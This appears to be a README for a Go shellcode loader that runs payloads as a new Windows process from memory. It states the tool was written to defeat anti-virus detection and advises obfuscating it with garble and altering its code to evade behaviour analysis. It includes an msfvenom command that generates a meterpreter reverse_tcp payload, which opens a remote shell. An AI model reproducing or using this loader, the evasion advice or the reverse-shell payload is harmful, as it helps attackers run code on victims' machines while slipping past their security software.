Load shellcode into a new process
This is a program to run shellcode as its own process, all from memory. This was written to defeat anti-virus detection. This is now getting detected as VirTool:Win32/Shrine.A. Use a tool like garble to obfuscate the binary to defeat static analysis. Change the code yourself to defeat behavior analysis.
Keep in mind that only 64bit shellcode will run in a 64bit process. This can't autodetect your shellcode architecture.
Use msfvenom or metasploit to generate a bit of shellcode as hex format:
$ msfvenom -p windows/meterpreter/reverse_tcp -f hex -o rev.hex LHOST=127.0.0.1 LPORT=4444…Sometimes the shellcode is larger than the limit of a command line with arguments. Try putting the whole thing in a batch script instead.
Standard go building steps. Set GOOS to windows and GOARCH to the same as your
shellcode, either 386 or amd64. This can't detect the architecture of your
shellcode.
The resulting binary is a little big, 2.1M, but compresses well with UPX, roughly 508K.
No open issues yet, or sync has not completed.